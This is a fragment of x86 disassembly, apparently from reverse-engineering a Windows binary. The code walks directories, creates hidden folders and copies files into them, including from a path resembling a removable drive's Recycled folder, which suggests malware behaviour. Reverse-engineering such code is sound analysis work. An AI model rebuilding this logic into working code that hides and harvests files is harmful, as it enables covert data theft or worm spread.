lea ecx, [ebp - 0x4d50]
push ecx
call fcn.0040c880
add esp, 8
push 0
lea edx, [ebp - 0x4d50]
push edx
lea eax, [ebp - 0x4b48]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea ecx, [ebp - 0x4940]
push ecx
mov edx, dword [ebp - 0x42e0]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x408396
jmp 0x40839b
jmp 0x4082c7
mov eax, dword [ebp - 0x42e0]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, 1
jmp 0x40857f
push 0x423354
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40857a
push 0x104
push 0
lea ecx, [ebp - 0x4f5c]
push ecx
call fcn.0040be20
add esp, 0xc
push 0x427794
lea edx, [ebp - 0x4f5c]
push edx
call fcn.0040c8aa
add esp, 8
push 0x423378
lea eax, [ebp - 0x4f5c]
push eax
call fcn.0040c880
add esp, 8
push 0
lea ecx, [ebp - 0x4f5c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 2
lea edx, [ebp - 0x4f5c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x4233ec
lea eax, [ebp - 0x4f5c]
push eax
call fcn.0040c880
add esp, 8
push 0
lea ecx, [ebp - 0x4f5c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 2
lea edx, [ebp - 0x4f5c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push str.E:_recycled_recy.
lea eax, [ebp - 0x5164]
push eax
call fcn.0040c8aa
add esp, 8
lea ecx, [ebp - 0x53b4]
push ecx
lea edx, [ebp - 0x5164]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x4d54], eax
cmp dword [ebp - 0x4d54], 0xffffffff
jne 0x408492
xor eax, eax
jmp 0x40857f
mov eax, 1
test eax, eax
je 0x408566
mov ecx, dword [ebp - 0x53b4]
and ecx, 0x10
test ecx, ecx
je 0x4084b1
jmp 0x408547
push str.E:_recycled_recy_
lea edx, [ebp - 0x55bc]
push edx
call fcn.0040c8aa
add esp, 8
lea eax, [ebp - 0x5388]
push eax
lea ecx, [ebp - 0x55bc]
push ecx
call fcn.0040c880
add esp, 8
push 0x104
push 0
lea edx, [ebp - 0x57c4]
push edx
call fcn.0040be20
add esp, 0xc
lea eax, [ebp - 0x4f5c]
push eax
lea ecx, [ebp - 0x57c4]
push ecx
call fcn.0040c8aa
add esp, 8
push 0x423444
lea edx, [ebp - 0x57c4]
push edx
call fcn.0040c880
add esp, 8
lea eax, [ebp - 0x5388]
push eax
lea ecx, [ebp - 0x57c4]
push ecx
call fcn.0040c880
add esp, 8
push 0
lea edx, [ebp - 0x57c4]
push edx
lea eax, [ebp - 0x55bc]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea ecx, [ebp - 0x53b4]
push ecx
mov edx, dword [ebp - 0x4d54]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x408561
jmp 0x408566
jmp 0x408492
mov eax, dword [ebp - 0x4d54]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, 1
jmp 0x40857f
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
mov esp, ebp
pop ebp
ret